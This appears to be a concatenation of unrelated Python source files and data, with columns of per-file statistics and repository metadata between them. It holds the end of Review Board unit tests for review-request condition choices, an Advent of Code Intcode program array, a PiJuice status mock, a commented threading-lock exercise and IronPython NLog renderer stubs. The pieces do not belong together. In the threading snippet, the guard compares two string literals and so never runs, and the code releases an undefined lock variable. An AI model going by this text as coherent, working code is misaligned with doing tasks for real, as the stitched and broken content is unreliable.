transform=lambda user: user.pk)
def test_matches_with_one_of_op(self):
"""Testing ReviewRequestOwnerChoice.matches with "one-of"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('one-of'),
[self.user1, self.user2]),
])
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(submitter=self.user1)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(submitter=self.user2)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(submitter=self.user3)))
def test_matches_with_not_one_of_op(self):
"""Testing ReviewRequestOwnerChoice.matches with "not-one-of"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('not-one-of'),
[self.user1, self.user2]),
])
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(submitter=self.user1)))
self.assertFalse(condition_set.matches(
review_request=self.create_review_request(submitter=self.user2)))
self.assertTrue(condition_set.matches(
review_request=self.create_review_request(submitter=self.user3)))
class ReviewRequestReviewerChoiceTests(TestCase):
"""Unit tests for ReviewRequestReviewerChoice."""
fixtures = ['test_users']
def setUp(self):
super(ReviewRequestReviewerChoiceTests, self).setUp()
self.choice = ReviewRequestReviewerChoice()
self.user1 = User.objects.get(username='doc')
self.user2 = User.objects.get(username='grumpy')
self.user3 = User.objects.get(username='dopey')
def test_get_queryset(self):
"""Testing ReviewRequestReviewerChoice.get_queryset"""
self.assertQuerysetEqual(
self.choice.get_queryset(),
User.objects.values_list('pk', flat=True),
transform=lambda user: user.pk)
def test_get_queryset_with_local_site(self):
"""Testing ReviewRequestReviewerChoice.get_queryset with LocalSite"""
good_site = LocalSite.objects.create(name='good-site')
good_site.users.add(self.user2)
bad_site = LocalSite.objects.create(name='bad-site')
bad_site.users.add(self.user3)
self.choice.extra_state['local_site'] = good_site
self.assertQuerysetEqual(
self.choice.get_queryset(),
[self.user2.pk],
transform=lambda user: user.pk)
def test_matches_with_contains_any_op(self):
"""Testing ReviewRequestReviewerChoice.matches with
"contains-any" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('contains-any'),
[self.user1, self.user2]),
])
review_request = self.create_review_request(target_people=[self.user1])
self.assertTrue(condition_set.matches(review_request=review_request))
review_request = self.create_review_request(target_people=[self.user2])
self.assertTrue(condition_set.matches(review_request=review_request))
review_request = self.create_review_request(target_people=[self.user3])
self.assertFalse(condition_set.matches(review_request=review_request))
def test_matches_with_does_not_contain_any_op(self):
"""Testing ReviewRequestReviewerChoice.matches with
"does-not-contain-any" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain-any'),
[self.user1, self.user2]),
])
review_request = self.create_review_request(target_people=[self.user1])
self.assertFalse(condition_set.matches(review_request=review_request))
review_request = self.create_review_request(target_people=[self.user2])
self.assertFalse(condition_set.matches(review_request=review_request))
review_request = self.create_review_request(target_people=[self.user3])
self.assertTrue(condition_set.matches(review_request=review_request))
class ReviewRequestParticipantChoiceTests(TestCase):
"""Unit tests for ReviewRequestParticipantChoice."""
fixtures = ['test_users']
def setUp(self):
super(ReviewRequestParticipantChoiceTests, self).setUp()
self.choice = ReviewRequestParticipantChoice()
self.user1 = User.objects.get(username='doc')
self.user2 = User.objects.get(username='grumpy')
self.user3 = User.objects.get(username='dopey')
def test_get_queryset(self):
"""Testing ReviewRequestParticipantChoice.get_queryset"""
self.assertQuerysetEqual(
self.choice.get_queryset(),
User.objects.values_list('pk', flat=True),
transform=lambda user: user.pk)
def test_get_queryset_with_local_site(self):
"""Testing ReviewRequestParticipantChoice.get_queryset with
LocalSite
"""
good_site = LocalSite.objects.create(name='good-site')
good_site.users.add(self.user2)
bad_site = LocalSite.objects.create(name='bad-site')
bad_site.users.add(self.user3)
self.choice.extra_state['local_site'] = good_site
self.assertQuerysetEqual(
self.choice.get_queryset(),
[self.user2.pk],
transform=lambda user: user.pk)
def test_matches_with_contains_any_op(self):
"""Testing ReviewRequestParticipantChoice.matches with "contains-any"
operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('contains-any'),
[self.user1, self.user2]),
])
review_request = self.create_review_request()
self.assertFalse(condition_set.matches(review_request=review_request))
review_request = self.create_review_request()
self.create_review(review_request,
user=self.user1,
public=True)
self.assertTrue(condition_set.matches(review_request=review_request))
def test_matches_with_does_not_contain_any_op(self):
"""Testing ReviewRequestParticipantChoice.matches with
"does-not-contain-any" operator
"""
condition_set = ConditionSet(ConditionSet.MODE_ALL, [
Condition(self.choice,
self.choice.get_operator('does-not-contain-any'),
[self.user1, self.user2]),
])
review_request = self.create_review_request()
self.assertTrue(condition_set.matches(review_request=review_request))
review_request = self.create_review_request()
self.create_review(review_request,
user=self.user1,
public=True)
self.assertFalse(condition_set.matches(review_request=review_request))
| 40.460818
| 79
| 0.640029
| 4,717
| 47,501
| 6.193767
| 0.03604
| 0.100561
| 0.056955
| 0.086425
| 0.902143
| 0.892764
| 0.874315
| 0.837486
| 0.815375
| 0.78902
| 0
| 0.00756
| 0.2593
| 47,501
| 1,173
| 80
| 40.495311
| 0.822817
| 0.101135
| 0
| 0.88404
| 0
| 0
| 0.039464
| 0
| 0
| 0
| 0
| 0
| 0.150873
| 1
| 0.087282
| false
| 0
| 0.009975
| 0
| 0.120948
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f6061634c60d10a477fc4c5ce11b1339ea159345
| 15
|
py
|
Python
|
python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
|
2020-12-11T14:18:08.000Z
|
python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 173
|
2018-07-05T13:59:39.000Z
|
2018-08-09T01:12:03.000Z
|
python/testData/intentions/PyConvertToFStringIntentionTest/percentOperatorSingleExpression.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 2
|
2020-03-15T08:57:37.000Z
|
2020-04-07T04:48:14.000Z
|
u'%04.5r' % 42
| 7.5
| 14
| 0.466667
| 4
| 15
| 1.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.416667
| 0.2
| 15
| 1
| 15
| 15
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f60fdb9ebb7ae1d6be3fd2e06e75691f189c66ef
| 7,200
|
py
|
Python
|
input_day13.py
|
jb790419/aoc
|
2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc
|
[
"MIT"
] | null | null | null |
input_day13.py
|
jb790419/aoc
|
2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc
|
[
"MIT"
] | null | null | null |
input_day13.py
|
jb790419/aoc
|
2177cb27a3d16e4c8242c5a7224a2cb1137bb2bc
|
[
"MIT"
] | null | null | null |
data = [1,380,379,385,1008,2639,310356,381,1005,381,12,99,109,2640,1101,0,0,383,1101,0,0,382,20102,1,382,1,21002,383,1,2,21101,0,37,0,1105,1,578,4,382,4,383,204,1,1001,382,1,382,1007,382,40,381,1005,381,22,1001,383,1,383,1007,383,25,381,1005,381,18,1006,385,69,99,104,-1,104,0,4,386,3,384,1007,384,0,381,1005,381,94,107,0,384,381,1005,381,108,1106,0,161,107,1,392,381,1006,381,161,1101,-1,0,384,1106,0,119,1007,392,38,381,1006,381,161,1102,1,1,384,21002,392,1,1,21101,23,0,2,21101,0,0,3,21102,138,1,0,1105,1,549,1,392,384,392,20102,1,392,1,21102,1,23,2,21102,1,3,3,21102,161,1,0,1106,0,549,1101,0,0,384,20001,388,390,1,21002,389,1,2,21101,180,0,0,1105,1,578,1206,1,213,1208,1,2,381,1006,381,205,20001,388,390,1,21001,389,0,2,21102,1,205,0,1106,0,393,1002,390,-1,390,1102,1,1,384,20102,1,388,1,20001,389,391,2,21102,228,1,0,1106,0,578,1206,1,261,1208,1,2,381,1006,381,253,21001,388,0,1,20001,389,391,2,21102,253,1,0,1105,1,393,1002,391,-1,391,1101,0,1,384,1005,384,161,20001,388,390,1,20001,389,391,2,21101,0,279,0,1105,1,578,1206,1,316,1208,1,2,381,1006,381,304,20001,388,390,1,20001,389,391,2,21101,0,304,0,1105,1,393,1002,390,-1,390,1002,391,-1,391,1101,0,1,384,1005,384,161,20102,1,388,1,20101,0,389,2,21101,0,0,3,21101,0,338,0,1106,0,549,1,388,390,388,1,389,391,389,20101,0,388,1,21001,389,0,2,21102,4,1,3,21101,0,365,0,1105,1,549,1007,389,24,381,1005,381,75,104,-1,104,0,104,0,99,0,1,0,0,0,0,0,0,348,18,20,1,1,20,109,3,21201,-2,0,1,21202,-1,1,2,21102,1,0,3,21101,414,0,0,1105,1,549,21202,-2,1,1,21201,-1,0,2,21101,429,0,0,1105,1,601,1201,1,0,435,1,386,0,386,104,-1,104,0,4,386,1001,387,-1,387,1005,387,451,99,109,-3,2106,0,0,109,8,22202,-7,-6,-3,22201,-3,-5,-3,21202,-4,64,-2,2207,-3,-2,381,1005,381,492,21202,-2,-1,-1,22201,-3,-1,-3,2207,-3,-2,381,1006,381,481,21202,-4,8,-2,2207,-3,-2,381,1005,381,518,21202,-2,-1,-1,22201,-3,-1,-3,2207,-3,-2,381,1006,381,507,2207,-3,-4,381,1005,381,540,21202,-4,-1,-1,22201,-3,-1,-3,2207,-3,-4,381,1006,381,529,22101,0,-3,-7,109,-8,2106,0,0,109,4,1202,-2,40,566,201,-3,566,566,101,639,566,566,1201,-1,0,0,204,-3,204,-2,204,-1,109,-4,2105,1,0,109,3,1202,-1,40,593,201,-2,593,593,101,639,593,593,21001,0,0,-2,109,-3,2105,1,0,109,3,22102,25,-2,1,22201,1,-1,1,21101,0,503,2,21101,366,0,3,21102,1,1000,4,21101,630,0,0,1105,1,456,21201,1,1639,-2,109,-3,2106,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,2,0,2,2,2,0,0,0,2,0,0,2,0,2,2,2,0,0,2,0,0,2,0,2,2,2,2,0,2,2,2,0,0,0,1,1,0,0,0,2,2,0,2,2,2,2,0,2,0,2,2,2,2,2,0,2,0,0,0,2,2,2,2,2,2,0,0,0,2,0,2,2,0,0,1,1,0,0,2,2,0,2,0,0,2,2,0,2,2,2,0,2,0,0,0,0,2,2,2,2,0,2,2,0,2,0,0,0,0,2,2,2,2,0,1,1,0,2,2,0,0,0,0,2,2,2,0,2,2,2,0,2,0,0,2,2,2,2,0,2,2,2,0,2,0,2,2,0,0,0,2,2,2,0,1,1,0,2,2,2,2,2,2,2,0,2,0,2,0,0,2,0,2,0,2,0,2,0,2,2,0,2,0,0,0,2,2,0,2,2,2,0,0,0,1,1,0,0,0,2,0,0,2,0,2,0,0,2,0,0,0,2,2,0,2,0,0,0,0,0,2,2,0,2,0,2,2,2,0,2,0,0,2,0,1,1,0,2,0,2,2,2,0,0,2,2,0,2,0,2,0,0,0,2,2,2,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,2,2,0,1,1,0,0,2,2,2,0,0,2,2,2,2,0,0,2,0,0,2,2,2,2,2,2,0,2,0,0,0,2,2,0,2,2,2,2,0,2,0,0,1,1,0,0,2,2,0,0,2,2,0,2,2,0,0,2,2,2,0,0,0,0,2,2,0,2,0,2,0,2,0,0,0,0,0,0,0,2,2,0,1,1,0,0,2,0,2,2,2,2,2,2,0,0,2,2,2,0,0,2,2,2,2,2,0,0,2,0,0,2,0,2,0,2,2,0,0,0,2,0,1,1,0,2,0,2,0,2,0,2,2,2,0,0,0,0,2,0,2,0,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,0,2,2,2,0,1,1,0,2,2,2,0,2,2,2,2,2,0,0,2,2,2,0,0,0,0,0,2,0,2,0,2,2,0,2,0,0,0,0,2,2,2,2,0,0,1,1,0,2,2,2,0,2,0,2,0,0,0,0,2,0,0,2,0,0,2,2,2,2,2,0,2,0,2,0,2,2,2,0,0,2,0,0,2,0,1,1,0,0,2,2,2,2,0,2,2,2,2,0,2,0,2,2,0,2,0,2,2,0,0,2,2,2,2,2,0,2,2,2,2,2,0,2,2,0,1,1,0,2,0,2,2,2,0,0,2,0,2,2,0,2,2,0,2,0,0,2,2,0,2,2,0,2,2,0,2,2,0,2,2,2,0,2,0,0,1,1,0,2,0,0,2,2,0,0,0,0,2,0,0,2,0,2,2,2,0,2,2,0,2,2,2,0,2,0,2,0,2,0,0,2,2,0,0,0,1,1,0,2,2,2,2,2,2,0,2,2,0,2,2,2,0,2,2,2,2,2,0,2,0,2,0,0,2,2,2,2,2,2,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,24,35,13,44,44,95,83,45,69,64,58,57,22,91,79,21,65,90,94,24,82,6,96,96,64,21,91,4,36,76,6,74,41,72,32,87,50,48,47,93,86,73,24,78,50,10,95,14,50,78,6,90,98,26,68,75,40,73,80,89,1,41,68,42,47,58,32,23,48,11,83,74,68,41,55,89,46,8,27,5,3,81,42,88,49,51,55,91,22,93,13,12,10,87,42,90,35,88,12,94,79,76,89,39,71,69,32,5,72,45,12,79,57,35,60,46,28,34,79,3,97,32,52,77,66,26,55,8,89,2,76,20,49,64,72,50,15,21,22,63,19,22,44,11,44,36,4,77,24,25,29,8,31,27,68,91,90,89,18,53,67,92,68,59,7,56,2,88,83,82,83,5,73,19,53,81,85,65,93,10,21,46,69,90,32,17,37,31,69,96,93,10,98,32,86,73,91,95,13,15,83,72,10,4,52,64,35,52,42,55,4,76,13,39,54,31,51,78,62,40,14,11,81,34,93,97,47,67,26,46,86,80,69,6,8,56,12,80,88,49,20,79,40,7,54,63,15,46,64,59,74,28,11,48,27,41,20,27,29,70,73,46,18,21,48,26,42,63,7,80,54,8,43,31,3,39,10,30,7,98,87,33,62,81,61,31,64,27,94,38,42,39,55,9,61,38,76,8,48,13,94,8,85,23,72,84,6,60,18,25,30,64,37,97,59,71,16,83,83,18,92,53,39,17,73,39,37,30,9,2,87,32,23,56,11,24,1,84,82,5,8,60,55,44,57,43,14,88,72,51,83,20,3,70,33,33,1,6,86,17,4,77,69,33,65,93,97,66,42,23,34,96,4,25,76,46,2,34,52,5,17,87,69,15,22,3,87,80,36,1,70,43,56,64,11,47,39,5,64,1,41,54,34,95,42,17,8,68,73,45,54,84,16,83,59,27,56,75,34,44,78,70,19,25,90,52,65,58,1,72,2,70,3,26,11,69,73,74,29,8,22,2,93,18,98,16,10,62,92,44,70,69,86,53,2,43,62,45,18,22,46,87,48,21,56,36,71,91,94,84,95,28,74,64,16,44,27,35,33,41,66,9,74,3,94,78,3,47,91,66,92,10,2,6,45,57,24,83,4,56,25,24,51,77,39,36,28,20,6,27,14,25,54,15,84,5,29,16,98,21,32,94,93,5,75,67,65,89,32,16,79,71,31,89,9,5,39,12,14,34,61,9,80,1,65,59,48,48,46,60,98,1,29,98,57,17,18,76,49,93,13,28,37,88,37,46,4,19,48,10,58,37,47,13,85,23,10,48,77,68,92,62,74,63,7,21,31,20,53,87,74,9,32,80,91,70,9,95,90,37,61,60,26,22,56,26,79,65,58,88,51,7,42,43,89,90,11,10,27,19,10,76,96,34,55,36,2,67,11,25,15,96,35,27,50,78,12,8,77,76,26,49,77,60,41,14,24,3,52,52,49,25,35,45,21,98,1,61,2,32,55,86,55,48,28,15,69,97,42,85,90,58,1,75,8,91,60,26,9,70,86,16,50,95,52,90,17,54,1,98,12,25,13,26,94,47,24,23,54,54,65,65,94,61,14,58,35,72,23,98,32,4,84,36,58,38,98,59,1,6,56,1,43,56,33,31,39,64,88,60,30,41,98,17,89,7,15,76,20,43,44,60,65,94,32,71,12,67,87,38,35,56,84,31,12,33,5,42,66,87,47,21,4,52,16,74,18,10,32,97,76,68,76,59,77,92,65,6,15,32,32,14,2,64,67,14,34,3,44,39,56,60,88,56,88,1,76,14,20,67,53,98,74,88,90,67,40,41,56,27,81,58,93,41,78,31,28,12,25,28,94,20,18,41,40,79,10,96,1,64,57,90,30,83,87,71,75,73,63,48,18,10,39,96,60,87,24,54,73,96,6,7,32,26,18,20,4,42,33,63,76,14,21,74,72,3,85,59,16,43,3,22,11,29,96,8,51,32,5,35,94,84,48,58,17,37,58,98,64,63,63,96,31,24,67,29,85,34,29,63,42,68,53,10,47,61,87,33,74,6,76,71,38,52,56,69,32,4,11,44,34,67,13,2,92,55,69,31,15,21,24,7,54,71,93,64,53,67,24,61,25,90,4,95,85,15,44,32,86,11,10,3,32,26,43,18,98,89,82,19,34,30,74,24,96,14,79,46,87,22,53,66,60,91,40,75,92,66,13,33,13,29,55,69,77,34,87,49,83,57,76,42,11,53,27,42,82,28,46,91,310356]
| 3,600
| 7,199
| 0.622639
| 2,641
| 7,200
| 1.697463
| 0.073078
| 0.176221
| 0.201428
| 0.233772
| 0.336159
| 0.313629
| 0.276154
| 0.266786
| 0.262324
| 0.245818
| 0
| 0.622343
| 0.000417
| 7,200
| 1
| 7,200
| 7,200
| 0.000556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f62d5a2a6376de3416b7858393717a68e9f4e28a
| 577
|
py
|
Python
|
wrapper/pijuice_mock/status.py
|
toschoch/docker-rpi-pijuice-mqtt
|
6571635c0e6370c4433023eb07c5c46a9fe4a070
|
[
"MIT"
] | null | null | null |
wrapper/pijuice_mock/status.py
|
toschoch/docker-rpi-pijuice-mqtt
|
6571635c0e6370c4433023eb07c5c46a9fe4a070
|
[
"MIT"
] | null | null | null |
wrapper/pijuice_mock/status.py
|
toschoch/docker-rpi-pijuice-mqtt
|
6571635c0e6370c4433023eb07c5c46a9fe4a070
|
[
"MIT"
] | null | null | null |
def GetChargeLevel():
return {'data': 42, 'error': 'NO_ERROR'}
def GetBatteryTemperature():
return {'data': 25.4, 'error': 'NO_ERROR'}
def GetBatteryVoltage():
return {'data': 3111, 'error': 'NO_ERROR'}
def GetBatteryCurrent():
return {'data': 800, 'error': 'NO_ERROR'}
def GetIoVoltage():
return {'data': 5432, 'error': 'NO_ERROR'}
def GetIoCurrent():
return {'data': 300, 'error': 'NO_ERROR'}
def GetStatus():
return {'data': {
'powerInput': 'adapter connected',
'powerInput5vIo': 'powered'
}, 'error': 'NO_ERROR'}
| 19.233333
| 46
| 0.606586
| 61
| 577
| 5.622951
| 0.393443
| 0.204082
| 0.244898
| 0.262391
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04329
| 0.199307
| 577
| 29
| 47
| 19.896552
| 0.699134
| 0
| 0
| 0
| 0
| 0
| 0.289428
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.411765
| true
| 0
| 0
| 0.411765
| 0.823529
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
f63ff1d26c3354527ebe2ba5cdec34209ca3b269
| 2,120
|
py
|
Python
|
PythonThread-Goroutine/1114. ๆๅบๆๅฐ.py
|
Lcoderfit/Introduction-to-algotithms
|
aea2630be6ca2c60186593d6e66b0a59e56dc848
|
[
"MIT"
] | 3
|
2018-08-25T16:14:16.000Z
|
2019-10-15T22:25:32.000Z
|
PythonThread-Goroutine/1114. ๆๅบๆๅฐ.py
|
Lcoderfit/Introduction-to-algotithms
|
aea2630be6ca2c60186593d6e66b0a59e56dc848
|
[
"MIT"
] | null | null | null |
PythonThread-Goroutine/1114. ๆๅบๆๅฐ.py
|
Lcoderfit/Introduction-to-algotithms
|
aea2630be6ca2c60186593d6e66b0a59e56dc848
|
[
"MIT"
] | 1
|
2019-10-08T09:03:48.000Z
|
2019-10-08T09:03:48.000Z
|
# from threading import Lock
#
# class Foo:
# def __init__(self):
# self.first_job_done = Lock()
# self.second_job_done = Lock()
# self.first_job_done.acquire()
# self.second_job_done.acquire()
#
#
# def first(self, printFirst: 'Callable[[], None]') -> None:
# # printFirst() outputs "first". Do not change or remove this line.
# printFirst()
# self.first_job_done.release()
#
#
# def second(self, printSecond: 'Callable[[], None]') -> None:
# # with่ฏญๅฅๅฏไปฅ่ชๅจๅ ้ไธ่งฃ้
# with self.first_job_done:
# # printSecond() outputs "second". Do not change or remove this line.
# printSecond()
# # ไปปๅกไบ่ฟ่กๅฎๆฏ๏ผ้ๆพ้
# self.second_job_done.release()
#
#
# def third(self, printThird: 'Callable[[], None]') -> None:
# with self.second_job_done:
# # printThird() outputs "third". Do not change or remove this line.
# printThird()
# from threading import Lock
#
# class Foo:
# def __init__(self):
# self.first_job_done = Lock()
# self.second_job_done = Lock()
# self.first_job_done.acquire()
# self.second_job_done.acquire()
#
#
# def first(self, printFirst: 'Callable[[], None]') -> None:
# # printFirst() outputs "first". Do not change or remove this line.
# printFirst()
# self.first_job_done.release()
#
#
# def second(self, printSecond: 'Callable[[], None]') -> None:
# if self.first_job_done.acquire():
# # printSecond() outputs "second". Do not change or remove this line.
# printSecond()
# # ไปปๅกไบ่ฟ่กๅฎๆฏ๏ผ้ๆพ้
# self.second_job_done.release()
#
#
# def third(self, printThird: 'Callable[[], None]') -> None:
# if self.second_job_done.acquire():
# # printThird() outputs "third". Do not change or remove this line.
# printThird()
from threading import Lock
if "__name__" == "__main__":
a = Lock()
b = Lock()
a.acquire()
b.acquire()
if a.acquire():
print("alsdkjf")
k.release()
| 29.444444
| 82
| 0.570755
| 235
| 2,120
| 4.944681
| 0.174468
| 0.096386
| 0.082616
| 0.110155
| 0.895009
| 0.851119
| 0.851119
| 0.851119
| 0.851119
| 0.851119
| 0
| 0
| 0.287736
| 2,120
| 71
| 83
| 29.859155
| 0.769536
| 0.85283
| 0
| 0
| 0
| 0
| 0.093878
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.111111
| 0.111111
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f640c21e2b24dd68ee6fd03e3b2d02755d571b2d
| 20,769
|
py
|
Python
|
release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py
|
tranconbv/ironpython-stubs
|
a601759e6c6819beff8e6b639d18a24b7e351851
|
[
"MIT"
] | null | null | null |
release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py
|
tranconbv/ironpython-stubs
|
a601759e6c6819beff8e6b639d18a24b7e351851
|
[
"MIT"
] | null | null | null |
release/stubs.min/Wms/RemotingImplementation/Logging/NLogExtensions/__init__.py
|
tranconbv/ironpython-stubs
|
a601759e6c6819beff8e6b639d18a24b7e351851
|
[
"MIT"
] | null | null | null |
# encoding: utf-8
# module Wms.RemotingImplementation.Logging.NLogExtensions calls itself NLogExtensions
# from Wms.RemotingImplementation,Version=1.23.1.0,Culture=neutral,PublicKeyToken=null
# by generator 1.145
# no doc
# no important
from System.Collections.Generic import *
from ..__init__ import *
# no functions
# classes
class BuildEnvironmentLayoutRenderer(LayoutRenderer):
""" BuildEnvironmentLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BuildEnvironmentLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BuildEnvironmentLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwAccessIdLayoutRenderer(LayoutRenderer):
""" BwAccessIdLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwAccessIdLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwAccessIdLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwCategoryLayoutRenderer(LayoutRenderer):
""" BwCategoryLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwCategoryLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwCategoryLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
